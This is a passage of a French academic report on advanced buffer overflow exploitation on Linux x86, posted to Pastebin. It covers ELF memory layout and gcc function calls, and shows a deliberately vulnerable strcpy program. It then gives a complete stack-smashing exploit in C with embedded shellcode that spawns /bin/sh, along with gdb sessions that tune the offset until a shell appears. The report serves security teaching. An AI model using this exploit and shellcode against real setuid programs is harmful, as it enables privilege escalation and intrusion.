xdxdxd123

Untitled

May 22nd, 2017
687
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 183.86 KB | None | 0 0
  1. 1/92
  2. Exploitation avancée de
  3. buffer overflows
  4. -
  5. Olivier GAY, Security and Cryptography Laboratory (LASEC)
  6. Département d’Informatique de l’EPFL
  7. olivier.gay@epfl.ch
  8. 28 juin 2002
  9. 2/92
  10. Table des matières
  11. 1.Introduction 4
  12. 2.Généralités 6
  13. 2.1 Le format ELF et l’organisation de la mémoire 6
  14. 2.2 L’appel de fonction avec le compilateur gcc 8
  15. 3.Stack Overflows 11
  16. 3.1 Historique 11
  17. 3.2 Définition 11
  18. 3.3 Exploitation 12
  19. 3.4 Propriétés des shellcodes 17
  20. 3.5 Programmes suid 18
  21. 3.6 Les fonctions vulnérables 20
  22. 3.7 Stack Overflows sous d’autres architectures 21
  23. 4.Variables d’environnement 23
  24. 5. Off-by-one overflows 27
  25. 6. Le piège des functions strn*() 33
  26. 6.1 Strncpy() non-null termination 33
  27. 6.2 Strncat() poisoned NULL byte 35
  28. 6.3 Erreur de type casting avec la fonction strncat() 36
  29. 6.4 Variations de ces vulnérabilités 38
  30. 7. La famille des fonctions *scanf() et *sprintf() 40
  31. 7.1 Erreurs sur la taille maximale 40
  32. 7.2 Le cas de snprintf() 41
  33. 7.3 Exemples d’erreurs de patch d’un overflow 41
  34. 8. Remote exploitation 43
  35. 9. RET-into-libc 52
  36. 9.1 RET-into-libc simple 52
  37. 9.2 Le problème des pages exécutables sous x86 56
  38. 9.3 Le patch kernel Openwall 56
  39. 9.4 Bypasser Openwall 58
  40. 9.4.1 ELF dynamic linking 58
  41. 9.4.2 RET-into-PLT 59
  42. 9.5 RET-into-libc chaîné 61
  43. 9.6 RET-into-libc sur d’autres architectures 65
  44. 10. Heap Overflow 66
  45. 10.1 Data based overflow et la section DTORS 66
  46. 10.2 BSS based overflow et les atexit structures 68
  47. 10.3 Pointeurs de fonctions 72
  48. 10.4 Longjmp buffers 75
  49. 10.5 Ecrasement de pointeur et GOT 77
  50. 10.5.1 Les protections Stackguard et Stackshield 80
  51. 10.6 Autres variables potentiellement intéressantes à écraser 80
  52. 3/92
  53. 10.7 Malloc() chunk corruption 81
  54. 10.7.1 Doug Lea Malloc 81
  55. 10.7.2 La macro unlink() 81
  56. 10.7.3 Le programme vulnérable 83
  57. 10.7.4 Exploitation avec unlink() 83
  58. 10.7.5 L’Exploit et les malloc hooks 84
  59. 11. Conclusion 88
  60. 12. Bibliographie 89
  61. Annexe A – Exercices sur les buffer overflows 90
  62. Annexe B – Les codes utilisés dans le rapport -
  63. 4/92
  64. 1. Introduction
  65. « Le commencement de toutes les
  66. sciences, c'est l'étonnement de ce
  67. que les choses sont ce qu'elles
  68. sont. », Aristote
  69. Les problèmes liés aux buffer overflows représentent 60% des annonces de sécurité
  70. du CERT ces dernière années. Il s’agit actuellement du vecteur d’attaques le plus
  71. courant dans les intrusions des systèmes informatiques et cela particulièrement pour
  72. les attaques à distances. Une étude sur la liste de diffusion Bugtraq en 1999 a révélé
  73. qu’approximativement 2/3 des personnes inscrites pensaient que les buffers
  74. overflows étaient les causes premières des failles de sécurité informatique. Malgré
  75. que ces failles aient été discutées et expliquées, des erreurs de ce types surgissent
  76. encore fréquemment dans les listes de diffusion consacrées à la sécurité. En effet
  77. certains overflows, dû à leur nature difficilement détectable et dans certains cas même
  78. pour des programmeurs chevronnés, sont encore présents dans les programmes qui
  79. nous entourent.
  80. Les erreurs de code ont été à la tête de catastrophes importantes : parmi les plus
  81. connus, il y a l’échec de la mission du Mars Climate Orbiter ou le crash 40 secondes
  82. seulement après le démarrage de la séquence de vol de la première Ariane 5 (Ariane
  83. 501) en 1996, après un développement d’un coût de quelques 7 milliards de dollars (le
  84. problème était un overflow lors de la conversion d’un integer 64 bits à un integer
  85. signé de 16 bits).
  86. Des estimations nous indiquent qu’il y a entre 5 et 15 erreurs pour 1000 lignes de
  87. code. Les programmes deviennent maintenant de plus en plus gros en taille et de plus
  88. en complexe. La dialectique est implacable car plus un programme est gros, plus il est
  89. complexe, plus le nombre d’erreurs augmente et donc plus il y a d’erreurs de sécurité.
  90. Tout porte donc à penser que les buffer overflows ne vont pas disparaître dans les
  91. années à venir mais que leur nombre va plutôt augmenter.
  92. Depuis la sortie en 1996, de l'article d’Aleph One dans le magazine éléctronique
  93. Phrack, qui détaille cette catégorie de faille, plusieurs recherches ont été effectuées
  94. pour contrer ces attaques. Bien qu’il existe une multitude d’articles portant sur les
  95. traditionnels stack overflows, il n’y en a malheureusement que peu qui traitent des
  96. attaques plus évoluées sur les buffer overflows. Nous essayons dans cet article
  97. d’expliquer les méthodes les plus récentes d’exploitation avancée de buffer overflows.
  98. Pour ce faire notre article se dirige sur plusieurs axes et décrit :
  99. - quelles constructions de codes sont susceptibles d’induire des buffer
  100. overflows dans des programmes
  101. - l’incidence des segments mémoires (stack, heap, bss…) où ont lieu les
  102. débordements sur l’exploitabilité de la faille
  103. - les différentes méthodes pour rediriger le flux d’exécution du programme
  104. - comment contourner certaines protections mises en place pour empêcher
  105. l’exploitation des buffer overflows
  106. 5/92
  107. Chaque chapitre est généralement accompagné de code qui démontre une technique
  108. d’exploitation ou d’exemples réels de programmes qui contenait un type d’overflow
  109. désastreux pour la sécurité. Les exemples de codes mis à disposition se retrouvent enb
  110. fin de ce rapport (dans la partie Annexes) et peuvent être compilés avec Linux sur les
  111. processeurs x86. Des notes sont indiquées dans les chapitres pour expliquer les
  112. incidences que peuvent avoir certaines différences liées au processeur, au compilateur
  113. ou au système d’exploitation sur l’exploitation d’une faille.
  114. 6/92
  115. 2. Généralités
  116. “Hacking is, very simply, asking
  117. a lot of questions and refusing to
  118. stop asking”,
  119. Emmanuel Goldstein
  120. Pour créer des exploits et comprendre leur action, il est nécessaire de connaître
  121. plusieurs concepts des Systèmes d’Exploitation, comme l'organisation de la mémoire,
  122. la structure des fichiers exécutables et les phases de la compilation. Nous détaillerons
  123. ces principes dans ce chapitre pour le système d'exploitation Linux.
  124. 2.1 Le format ELF et l’organisation de la mémoire
  125. Grâce au principe de mémoire virtuelle chaque programme quand il est exécuté
  126. obtient un espace mémoire entièrement isolé. La mémoire est adressée par mots (4
  127. octets) et couvre l'espace d'adresse de 0x00000000 - 0xffffffff soit 4 Giga octets
  128. adressables. Le système d’exploitation Linux utilise, pour les programmes
  129. exécutables, le format ELF 1 (Executable Linking Format) qui est composé de
  130. plusieurs sections.
  131. L'espace virtuel est divisée en deux zones: l'espace user (0x00000000 - 0xbfffffff) et
  132. l'espace kernel (0xc0000000 - 0xffffffff). Contrairement au kernel avec l'espace user,
  133. un processus user ne peut pas accéder à l'espace kernel. Nous allons surtout détailler
  134. cet espace user car c'est lui qui nous intéresse.
  135. Un exécutable ELF est transformé en une image processus par le program loader.
  136. Pour créer cette image en mémoire, le program loader va mapper en mémoire tous les
  137. loadable segments de l'exécutables et des librairies requises au moyen de l'appel
  138. système mmap(). Les exécutables sont chargés à l’adresse mémoire fixe 0x08048000 2
  139. appelée « adresse de base ».
  140. La figure 1 montre les sections principales d'un programme en mémoire. La section
  141. .text de la figure correspond au code du programme, c'est-à-dire aux instructions.
  142. Dans la section .data sont placées les données globales initialisées (dont les valeurs
  143. sont connus à la compilation) et dans la section .bss les données globales non-
  144. initialisées. Ces deux zones sont réservées et connues dès la compilation. Une variable
  145. locale static (la définition de la variable est précédé mot-clé static) initialisée se
  146. retrouve dans la section .data et une variable locale static non initialisée se retrouve
  147. dans la section .bss.
  148. 1
  149. Ce format est supporté par la majorité des systèmes d’exploitation Unix : FreeBSD, IRIX, NetBSD,
  150. Solaris ou UnixWare
  151. 2
  152. Pour comparaison, cette adresse est par exemple 0x10000 pour les exécutables Sparc V8 (32 bits) et
  153. 0x100000000 pour les exécutables Sparc V9 (64 bits)
  154. 7/92
  155. La pile quant à elle contient les variables locales automatiques (par défait une variable
  156. locale est automatique). Elle fonctionne selon le principe LIFO (Last in First Out),
  157. premier entré premier sorti et croît vers les adresses basses de la mémoire. A
  158. l'exécution d'un programme ses arguments (argc et argv) ainsi que les variables
  159. d'environnement sont aussi stockés dans la pile.
  160. Les variables allouées dynamiquement par la fonction malloc() sont stockées dans le
  161. heap.
  162. stack
  163. heap
  164. stack
  165. heap
  166. bss
  167. bss
  168. data
  169. data
  170. text
  171. text
  172. 0xC0000000
  173. 0x08048000
  174. figure 1.
  175. Nous allons voir quelques déclarations de variables et leur location en mémoire:
  176. int var1; // bss
  177. char var2[] = "buf1"; // data
  178. main(){
  179. int var3; // stack
  180. static int var4; // bss
  181. static char var5[] = "buf2"; // data
  182. char * var6; // stack
  183. var6 = malloc( 512 ); // heap
  184. }
  185. La commande size permet de connaître les différentes sections d'un programme ELF
  186. et de leur adresse mémoire.
  187. ouah@weed:~/heap2$ size -A -x /bin/ls
  188. /bin/ls :
  189. section size addr
  190. .interp 0x13 0x80480f4
  191. .note.ABI-tag 0x20 0x8048108
  192. .hash 0x258 0x8048128
  193. .dynsym 0x510 0x8048380
  194. .dynstr 0x36b 0x8048890
  195. 8/92
  196. .gnu.version 0xa2 0x8048bfc
  197. .gnu.version_r 0x80 0x8048ca0
  198. .rel.got 0x10 0x8048d20
  199. .rel.bss 0x28 0x8048d30
  200. .rel.plt 0x230 0x8048d58
  201. .init 0x25 0x8048f88
  202. .plt 0x470 0x8048fb0
  203. .text 0x603c 0x8049420
  204. .fini 0x1c 0x804f45c
  205. .rodata 0x2f3c 0x804f480
  206. .data 0xbc 0x80533bc
  207. .eh_frame 0x4 0x8053478
  208. .ctors 0x8 0x805347c
  209. .dtors 0x8 0x8053484
  210. .got 0x12c 0x805348c
  211. .dynamic 0xa8 0x80535b8
  212. .sbss 0x0 0x8053660
  213. .bss 0x2a8 0x8053660
  214. .comment 0x3dc 0x0
  215. .note 0x208 0x0
  216. Total 0xade9
  217. (Des informations similaires mais plus détaillées peuvent être obtenues avec les
  218. commandes readelf –e ou objdump -h). Nous voyons apparaître l’adresse en mémoire
  219. et la taille (en bytes) des sections qui nous intéressent : .text, .data et .bss. D’autres
  220. sections, comme .plt, .got ou .dtors seront décrites dans les chapitres suivants.
  221. 2.2 L’appel de fonction avec le compilateur gcc
  222. Nous allons voir comment est fait l’appel d’une fonction en assembleur dans un
  223. programme compilé avec gcc au moyen d’un programme qui nous servira d’exemple.
  224. void foo(int i, int j){
  225. int a = 1;
  226. int b = 2;
  227. return;
  228. }
  229. main(){
  230. foo(5,6);
  231. }
  232. Le programme appelle une fonction foo() avec plusieurs arguments. Désassemblons
  233. ce programme au moyen du débugger gdb, pour voir comment se passe l’appel,
  234. l’entrée et la sortie d’une fonction ainsi que comment sont gérés les arguments et les
  235. variables locales d’une fonction.
  236. ouah@weed:~/chap2$ gdb tst -q
  237. (gdb) disassemble main
  238. Dump of assembler code for function main:
  239. 0x80483d8 <main>: push %ebp
  240. 0x80483d9 <main+1>: mov %esp,%ebp
  241. 0x80483db <main+3>: sub $0x8,%esp
  242. 0x80483de <main+6>: add $0xfffffff8,%esp
  243. 9/92
  244. 0x80483e1 <main+9>: push $0x6
  245. 0x80483e3 <main+11>: push $0x5
  246. 0x80483e5 <main+13>: call 0x80483c0 <foo>
  247. 0x80483ea <main+18>: add $0x10,%esp
  248. 0x80483ed <main+21>: leave
  249. 0x80483ee <main+22>: ret
  250. 0x80483ef <main+23>: nop
  251. End of assembler dump.
  252. (gdb) disassemble foo
  253. Dump of assembler code for function foo:
  254. 0x80483c0 <foo>: push %ebp
  255. 0x80483c1 <foo+1>: mov %esp,%ebp
  256. 0x80483c3 <foo+3>: sub $0x18,%esp
  257. 0x80483c6 <foo+6>: movl $0x1,0xfffffffc(%ebp)
  258. 0x80483cd <foo+13>: movl $0x2,0xfffffff8(%ebp)
  259. 0x80483d4 <foo+20>: jmp 0x80483d6 <foo+22>
  260. 0x80483d6 <foo+22>: leave
  261. 0x80483d7 <foo+23>: ret
  262. End of assembler dump.
  263. Nous voyons donc ci-dessus les fonctions main() et foo() désassemblées.
  264. Appel d’une fonction
  265. Dans notre programme, la fonction foo() est appelée avec les paramètres 5 et 6. En
  266. assembleur, cela est accompli ainsi :
  267. 0x80483e1 <main+9>: push $0x6
  268. 0x80483e3 <main+11>: push $0x5
  269. 0x80483e5 <main+13>: call 0x80483c0 <foo>
  270. En <main+9>, l’appel de la fonction commence. On empile d’abord avec l’instruction
  271. push les arguments de la fonction en commençant par le dernier. On saute ensuite au
  272. moyen de l’instruction call dans le code de la fonction foo(). L ‘instruction call ne fait
  273. pas que sauter à l’adresse désiré, avant elle sauve le registre %eip dans la pile. Ainsi,
  274. quand on sortira de la fonction foo(), le programme saura où revenir pour continuer
  275. l’exécution dans main().
  276. Prologue d’une fonction
  277. Le prologue d’une fonction correspond aux premières instructions exécutées dans la
  278. fonction soit depuis <foo>. Soit :
  279. 0x80483c0 <foo>: push %ebp
  280. 0x80483c1 <foo+1>: mov %esp,%ebp
  281. 0x80483c3 <foo+3>: sub $0x18,%esp
  282. En <foo> nous sauvons d’abord le registre frame pointer (%ebp) sur la pile. Il s’agit
  283. du frame pointer de la fonction d’avant. Ainsi, quand nous sortirons de la fonction
  284. foo() le frame pointer pourra être remis à sa valeur sauvée. En <foo+1>, nous mettons
  285. à jour le registre frame pointer, au début de la frame qui va commencer et qui est la
  286. frame pour la fonction. En <foo+3>, nous réservons ensuite la place pour les variables
  287. locales. La valeur 0x18 indique que 24 bytes ont été réservé pour nos 2 int (2*4
  288. 10/92
  289. bytes), cela est plus que suffisant mais gcc (2.95.3) réserve au minimum 24 bytes. Si
  290. nous avions plus que 24 bytes de variables locales, il aurait donc fallu soustraire (la
  291. pile croît vers le bas) plus de bytes. Le compilateur gcc réserve pour chaque frame un
  292. espace dans la pile de taille multiple de 4.
  293. Epilogue d’une fonction
  294. L’épilogue correspond à la sortie de la fonction foo(). Elle doit alors retourner au bon
  295. endroit et restituer le frame pointer sauvegardé par le prologue de la fonction. Le
  296. prologue est effectué par ces deux instructions :
  297. 0x80483d6 <foo+22>: leave
  298. 0x80483d7 <foo+23>: ret
  299. L’instruction leave est équivalente aux deux instructions suivantes :
  300. mov %ebp,%esp
  301. pop %ebp
  302. Il s’agit de l’opération inverse de celle effectuée dans le prologue. On ramène le
  303. sommet de la pile au niveau du frame pointer puis on restitue le frame pointeur
  304. sauvegardé dans %ebp.
  305. La dernière instruction, ret, retourne à l’endroit juste après l’appel de la fonction foo()
  306. grâce à la valeur de retour stockée en pile durant l’appel. Enfin, au retour de la
  307. fonction, en <main+18> :
  308. 0x80483ea <main+18>: add $0x10,%esp
  309. On remet la pile en place pour revenir à la situation d’avant l’empilement des
  310. arguments de foo() pour l’appel.
  311. 11/92
  312. 3. Stack Overflows
  313. « Vous serez comme des dieux »,
  314. Genèse, chap III
  315. 3.1 Historique
  316. Le problème des buffer overflows et leur exploitation n’est pas nouveau. Leur
  317. existence se situe aux tout débuts de l’architecture Von-Neumann-1. Selon C. Cowan,
  318. des anecdotes situent les premiers exploits de buffer overflow dans les années 1960
  319. sur OS/360. En 1988, un événement a secoué le monde informatique quand Robert J.
  320. Morris a été la cause de la paralysie de 10% de tous les ordinateurs d’Internet quand il
  321. a propagé son vers malicieux, « l’Inet Worm » (cet événement a par ailleurs été à
  322. l’origine de la création du CERT). Ce vers s’introduisait dans les serveurs en
  323. exploitant des failles de Sendmail et de fingerd sur des ordinateurs 4.2 ou 4.3 de BSD
  324. Unix sur architecture VAX et SunOS sur architecture Sun-3. Parmi plusieurs failles
  325. classiques que le worm exploitait, il exploitait un buffer overflow sur les serveurs
  326. fingerd. Ce-dernier interceptait les données d’utilisateurs distants au moyen de la
  327. fonction gets() . Cette fonction est une fonction dangereuse et à ne jamais utiliser car
  328. il est impossible quand elle est appelée de contrôler que l’utilisateur n’envoie pas plus
  329. de données que prévues. Dans le cas de l’inet worm, il envoyait, dans un buffer de
  330. 512 bytes, une requête de 536 bytes qui en écrasant des données critiques lui
  331. permettait d’obtenir un shell sur l’ordinateur distant.
  332. Fin 1995, Mudge du groupe L0pht (futur atstake) est le premier à écrire un texte
  333. traitant de l’exploitation des buffer overflow. Mais c’est un an plus tard, qu’Aleph
  334. One (l’iniateur de la liste de diffusion Bugtraq) écrit pour le magazine éléctronique
  335. phrack l’article « Smashing the stack for fun and profit » qui est encore actuellement
  336. le texte de référence pour comprendre et exploiter des buffers overflows. L’histoire
  337. des buffer overflows ne s’est toutefois pas arrêté après ce texte et plusieurs classes
  338. d’overflows ont pu être exploitées grâce au développement de nouvelles techniques
  339. d’exploitation.
  340. 3.2 Définition
  341. Avant d’entrer dans le monde de l’exploitation des overflows, intéressons-nous à ce
  342. qu’est exactement un buffer overflow. Un buffer overflow est la situation qui se
  343. produit quand dans un programme on place dans un espace mémoire plus de données
  344. qu’il ne peut en contenir. Dans ce genre de situations, les données sont quand même
  345. insérées en mémoires même si elles écrasent des données qu’elles ne devraient pas.
  346. En écrasant des données critiques du programme, ces données qui débordent amènent
  347. généralement le programme à crasher. Ce simple fait est déjà grave si l’on pense à des
  348. serveurs qui ne peuvent ainsi plus remplir leur tâche. Plus grave, en écrasant certaines
  349. données, on peut arriver à prendre le contrôle du programme ce qui peut s’avérer
  350. désastreux si celui-ci tourne avec des droits privilégiés par exemple. Nous voyons ici
  351. un exemple de programme vulnérable qui contient un buffer overflow :
  352. 12/92
  353. 1 #include <stdio.h>
  354. 2
  355. 3
  356. 4 main (int argc, char *argv[])
  357. 5 {
  358. 6 char buffer[256];
  359. 7
  360. 8 if (argc > 1)
  361. 9 strcpy(buffer,argv[1]);
  362. 10 }
  363. Ce programme ne fait rien de plus que de prendre le premier argument de la ligne
  364. commande et de le placer dans un buffer. A aucun endroit du programme, la taille de
  365. l’argument de la ligne de commande n’a été contrôlée pour qu’il soit plus petit que le
  366. buffer qui l’accueille. Le problème arrive quand l’utilisateur donne un argument plus
  367. grand que le buffer qui lui est réservé :
  368. ouah@weed:~$ ./vuln1 `perl -e 'print "A"x300'`
  369. Segmentation fault
  370. Le programme écrit en dehors du buffer réservé qui fait crasher le programme. Nous
  371. verrons plus loin comment rediriger le cours d’exécution du programme à notre
  372. faveur.
  373. 3.3 Exploitation
  374. Nous allons maintenant voir comment exploiter le programme précédent qui contenait
  375. un buffer overflow. Grâce au chapitre 2, nous savons que notre buffer vulnérable se
  376. situe sur la pile et qu’il est directement suivi en mémoire par le frame pointer et
  377. l’adresse de retour de la fonction dans laquelle est définie buffer (soit main()). Notre
  378. but est donc d’écraser cette adresse de retour pour rediriger le programme. Notre
  379. buffer ayant une taille de 256 octets, 264 bytes suffisent pour écraser cette adresse de
  380. retour par une adresse de notre choix. Il convient de remarquer que les variables en
  381. mémoires sont paddées à 4 octets. Ainsi si notre buffer avait 255 éléments au lieu de
  382. 256, il occuperait quand même 256 octets dans la pile. Avec le débuggeur gdb, nous
  383. allons vérifier cette affirmation. Tout d’abord, il nous faut activer la création de
  384. fichiers core lors de segfault d’un programme.
  385. ouah@weed:~/chap2$ ulimit -c 100000
  386. Exécutons notre programme vulnérable de manière à écraser l’adresse de retour par la
  387. valeur 0x41414141 (« AAAA » en ASCII).
  388. ouah@weed:~$ ./vuln1 `perl -e 'print "B"x260'`AAAA
  389. Segmentation fault (core dumped)
  390. Le fichier core a été dumpé dans le répertoire du programme vulnérable. Lançons
  391. maintenant gdb sur le fichier core afin de pouvoir l’analyser.
  392. ouah@weed:~$ ./vuln1 `perl -e 'print "B"x260'`AAAA
  393. Segmentation fault (core dumped)
  394. ouah@weed:~$ gdb -c core -q
  395. 13/92
  396. Core was generated by `./vuln1
  397. BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
  398. BB'.
  399. Program terminated with signal 11, Segmentation fault.
  400. #0 0x41414141 in ?? ()
  401. (gdb) p $eip
  402. $1 = (void *) 0x41414141
  403. (gdb) p $esp
  404. $2 = (void *) 0xbffff834
  405. La ligne #0 0x41414141 in ?? () nous indique à quel endroit du programme l’on
  406. se trouvait lorsque le signal segfault a été reçu. Le programme reçoit un signal
  407. segfault car l’adresse 0x41414141 n’est pas accessible. La valeur du registre %eip
  408. nous confirme que nous avons pu rediriger le programme vulnérable à l’adresse de
  409. notre choix! Notre but est maintenant de profiter de cette situation pour faire exécuter
  410. au programme ce que nous voulons. Le mieux que nous pouvons espérer est
  411. l’exécution d’un shell car ainsi les commandes qui y seront lancées, le seront avec les
  412. privilèges du programme vulnérable. Par exemple, si notre programme vulnérable est
  413. SUID root et que nous somme simple user, les commandes exécutées dans ce shell
  414. auront les privilèges du root.
  415. La ligne de commande Unix ne nous interdit pas de passer des valeurs binaires non
  416. ASCII. Notre buffer a une taille de 256 octets, cela est amplement suffisant pour y
  417. caser un petit programme assembleur qui exécute un shell. Ce programme est
  418. communément appelé ‘shellcode’ car sa fonction est généralement de lancer un shell.
  419. Il n’est pas nécessaire de coder soit-même le shellcode, des shellcodes génériques
  420. pour différentes architectures ont déjà été programmés.
  421. Le shellcode est injecté dans le buffer vulnérable avant la nouvelle adresse de retour.
  422. Un des avantages de le placer à cet endroit plutôt qu’après notre adresse de retour, est
  423. que nous sommes ainsi sûr que, hormis d’écraser le frame pointer sauvé et l’adresse
  424. de retour, notre exploit n’écrase aucune autre donnée du programme. Enfin, il reste à
  425. déterminer l’adresse en mémoire du shellcode et de l’utiliser comme nouvelle adresse
  426. de retour de la fonction main().
  427. Il serait trivial de déterminer un candidat pour l’adresse de retour en lançant gdb sur le
  428. programme vulnérable: en plaçant un breakpoint dans la fonction main() et en
  429. exécutant le programme, on obtient facilement l’adresse du buffer. Malheureusement,
  430. les conditions pour tracer le programme vulnérable (voir chapitre 3.42) sont rarement
  431. rencontrées.
  432. La méthode utilisée dans l’exploit tenter d’estimer cette adresse du shellcode. Les
  433. lignes qui suivent sont celles de l’exploit et sont décrites plus bas.
  434. 1 /*
  435. 2 * classic get_sp() stack smashing exploit
  436. 3 * Usage: ./ex1 [OFFSET]
  437. 4 * for vuln1.c by OUAH (c) 2002
  438. 5 * ex1.c
  439. 6 */
  440. 7
  441. 8 #include <stdio.h>
  442. 9 #include <stdlib.h>
  443. 14/92
  444. 10
  445. 11 #define PATH "./vuln1"
  446. 12 #define BUFFER_SIZE 256
  447. 13 #define DEFAULT_OFFSET 0
  448. 14 #define NOP 0x90
  449. 15
  450. 16 u_long get_sp()
  451. 17 {
  452. 18 __asm__("movl %esp, %eax");
  453. 19
  454. 20 }
  455. 21
  456. 22 main(int argc, char **argv)
  457. 23 {
  458. 24 u_char execshell[] =
  459. 25 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2
  460. \x89\x56\x07\x89\x56\x0f"
  461. 26 "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12
  462. \x8d\x4e\x0b\x8b\xd1\xcd"
  463. 27 "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  464. 28
  465. 29 char *buff, *ptr;
  466. 30 unsigned long *addr_ptr, ret;
  467. 31
  468. 32 int i;
  469. 33 int offset = DEFAULT_OFFSET;
  470. 34
  471. 35 buff = malloc(4096);
  472. 36 if(!buff)
  473. 37 {
  474. 38 printf("can't allocate memory\n");
  475. 39 exit(0);
  476. 40 }
  477. 41 ptr = buff;
  478. 42
  479. 43 if (argc > 1) offset = atoi(argv[1]);
  480. 44 ret = get_sp() + offset;
  481. 45
  482. 46 memset(ptr, NOP, BUFFER_SIZE-strlen(execshell));
  483. 47 ptr += BUFFER_SIZE-strlen(execshell);
  484. 48
  485. 49 for(i=0;i < strlen(execshell);i++)
  486. 50 *(ptr++) = execshell[i];
  487. 51
  488. 52 addr_ptr = (long *)ptr;
  489. 53 for(i=0;i < (8/4);i++)
  490. 54 *(addr_ptr++) = ret;
  491. 55 ptr = (char *)addr_ptr;
  492. 56 *ptr = 0;
  493. 57
  494. 58 printf ("Jumping to: 0x%x\n", ret);
  495. 59 execl(PATH, "vuln1", buff, NULL);
  496. 60 }
  497. Commençons par la fin : à la ligne 59, avec la fonction execl() on appelle le
  498. programme vulnérable avec l’argument buff qui va nous permettre de l’exploiter. Cet
  499. argument est appelé payload car qu’il contient toutes les informations nécessaires à
  500. l’exploitation, dont le shellcode et la nouvelle adresse de retour. L’exploit se charge
  501. de contruire ce payload.
  502. 15/92
  503. A la ligne 12, BUFFER_SIZE représente la taille du buffer à overflower du
  504. programme vulnérable. Le payload, défini à la ligne 35, a une taille de
  505. BUFSIZE+2*4+1 octets, soit la taille du buffer plus 2*4 bytes pour le frame pointer et
  506. l’adresse de retour et un dernier octet pour le 0 qui termine la string.
  507. Le buffer est d’abord rempli à la ligne 46 par la valeur 0x90. Cette valeur est celle de
  508. l’instruction assembleur NOP. Cette instruction, disponible sur la majorité des
  509. processeurs, comme son nom l’indique ne fait rien du tout. Le shellcode, aux lignes
  510. 49-50 est copié entièrement juste avant l’adresse de retour, en fin de buffer, de façon
  511. à ce qu’on ait le maximum de NOP avant le shellcode. Le shellcode que nous avons
  512. utilisé est un classique et a été codé par Aleph One. L’adresse de retour est ensuite
  513. inséré en fin du payload, ainsi que le 0 final.
  514. Comme l’adresse de retour est estimée, les NOP du payload nous permettent de la
  515. déterminer avec une précision moindre. En effet, nous savons que si l’adresse de
  516. retour pointe dans les NOP alors notre shellcode sera exécuté.
  517. ret
  518. ret
  519. sfp
  520. sfp
  521. buffer
  522. buffer
  523. fake ret
  524. fake ret
  525. shellcode
  526. nops
  527. shellcode
  528. nops
  529. avant l’overflow après l’overflow
  530. figure 2.
  531. La ligne 44, va estimer l’adresse de retour désirée en appelant notre fonction get_sp().
  532. Cette fonction permet de récupérer le pointeur de pile %esp de l’exploit quand on se
  533. trouve dans la fonction main(). Grâce aux mécanismes de mémoire virtuelle, on
  534. suppose que cette adresse risque de ne pas trop changer dans notre programme
  535. vulnérable ce qui nous donne une indication de l’adresse mémoire du buffer
  536. vulnérable qui se trouve lui aussi dans la pile. A cette adresse on y a ajoute un
  537. OFFSET (positifif ou négatif) par défaut à 0 ou sinon à mis à la valeur du premier
  538. argument de l’exploit. Ainsi si l’exploit ne fonctionne pas, on peut toujours tâtonner
  539. en ajoutant un décalage à la fake adresse de retour pour qu’elle pointe dans les NOP.
  540. La figure 2 montre la constitution du payload.
  541. Nous pouvons maintenant exécuter notre exploit :
  542. ouah@weed:~$ ./ex1
  543. Jumping to: 0xbffff8cc
  544. Illegal instruction (core dumped)
  545. ouah@weed:~$
  546. 16/92
  547. Nous voyons ici que notre exploit n’a pas fonctionné. Le programme vulnérable a
  548. sauté dans une zone mémoire où il a rencontré une instruction qu’il ne connaissait
  549. pas. Cela est dû à un mauvaise offset, ici l’offset 0, car on l’a vu plus haut, notre fake
  550. adresse de retour est seulement estimée. Changeons notre offset : nous savons que
  551. dans notre buffer vulnérable il y a plus de 200 NOPs, ce qui nous permet donc de
  552. spécifier un offset par pas de 200 pour le trouver plus facilement :
  553. ouah@weed:~$ ./ex1 400
  554. Jumping to: 0xbffffa5c
  555. sh-2.05$
  556. Bingo. Le prompt du shell a changé, on a effectivement pu faire exécuter /bin/sh à
  557. notre programme vulnérable.
  558. Remarque : dans notre exemple, un offset de 200 faisait encore crasher le programme,
  559. mais un offset de 250 environ était suffisant pour l’exploiter.
  560. En fait, l’offset sert surtout à la portabilité de l’exploit d’une version du système
  561. d’exploitation à une autre. On aurait aussi bien pu coder l’exploit qui prend
  562. directement cette fake adresse de retour en argument. Voyons comment en débuggant
  563. le core dumped on peut trouver directement l’offset qu’il faut ajouter.
  564. Relançons notre exploit sans argument (soit avec un offset 0) :
  565. ouah@weed:~$ ./ex1
  566. Jumping to: 0xbffff8cc
  567. Illegal instruction (core dumped)
  568. ouah@weed:~$
  569. Le fichier core a été dumpé dans le répertoire de programme vulnérable. Lançons
  570. maintenant gdb sur le fichier core afin de pouvoir l’analyser :
  571. ouah@weed:~$ gdb -c core -q
  572. Core was generated by `vuln1 '.
  573. Program terminated with signal 4, Illegal instruction.
  574. #0 0xbffff8ce in ?? ()
  575. (gdb) x/12 0xbffff8cc
  576. 0xbffff8cc: 0xbffffc34 0xbffffc3b 0xbffffc4b
  577. 0xbffffc53
  578. 0xbffff8dc: 0xbffffc5d 0xbffffe10 0xbffffe38
  579. 0xbffffe5a
  580. 0xbffff8ec: 0xbffffe67 0xbffffe7f 0xbffffe8a
  581. 0xbffffe92
  582. (gdb)
  583. ...
  584. 0xbffff9bc: 0x76003638 0x316e6c75 0x90909000
  585. 0x90909090
  586. 0xbffff9cc: 0x90909090 0x90909090 0x90909090
  587. 0x90909090
  588. 0xbffff9dc: 0x90909090 0x90909090 0x90909090
  589. 0x90909090
  590. (gdb) p 0xbffff9cc - 0xbffff8cc
  591. 17/92
  592. $1 = 256
  593. En visualisant la mémoire à l’adresse 0xbffff8cc nous voyons bien qu’il n’y a ni
  594. NOP, ni shellcode à cette adresse ce qui cause l’Illegal instruction. On appuie
  595. plusieurs fois sur la touche return pour visualiser les blocs de mémoire suivants.
  596. Autour de l’adresse 0xbffff9cc, on voit apparaître les NOP dans les lesquels nous
  597. aurions aimé aterrir. La différence entre ces 2 adresses est de 256, nous pouvons donc
  598. déterminer exactement l’offset sans avoir à tâtonner. On remarque ainsi qu’un offset
  599. de 256 dans notre cas aurait été suffisant pour exploiter la vulnérabilité.
  600. 3.4 Propriétés des Shellcodes
  601. Dans la section précédente, nous avons utilisé un shellcode qui exécutait un shell lors
  602. de l’exploitation de notre programme vulnérable. Nous ne détaillerons pas plus dans
  603. le cadre de ce rapport la phase d’écriture de shellcode car cela ne nous semble pas
  604. fondamental pour l’écriture d’exploits. Quelques informations à leur sujet méritent
